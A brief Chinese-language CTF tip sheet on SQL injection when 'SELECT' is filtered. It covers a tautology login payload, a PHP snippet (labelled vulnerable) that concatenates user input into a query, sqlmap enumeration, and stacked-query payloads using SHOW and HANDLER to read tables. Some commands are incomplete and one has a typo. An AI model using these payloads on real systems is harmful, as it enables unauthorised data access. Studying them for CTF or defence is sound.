当"SELECT" 被过滤时的 sql注入题思路(堆叠注入)

1、万能密码 ?id=任意字符' or 1 =1 #(# 大概率会被拦截 使用URL转码或者使用 --)

// 危险的代码示例(存在SQL注入漏洞)

$id = $_GET['id'];

$sql = "SELECT * FROM 数据表名 WHERE id = " . $id; // 直接拼接参数

$result = mysqli_query($conn, $sql);

2、sqlmap 进行数据库的爆破 # python sqlmap.py -u -dbs

3、扫描到的数据库 使用 任意字符' ; SHOW DATABASES; --

4、sqlmap 扫不到数据库内的表,则使用 USE ; SHOW TABLES;

5、正常情况下使用 SELECT * FORM ; -- 直接读表

6、则使用堆叠查询 (Handler命令)HANDLER OPEN; (打开指定表名) HANDLER READ NEXT;(读取表中的下一行、第一次读取的是第一行)

7、若无回显则继续堆叠HANDLER READ NEXT;即可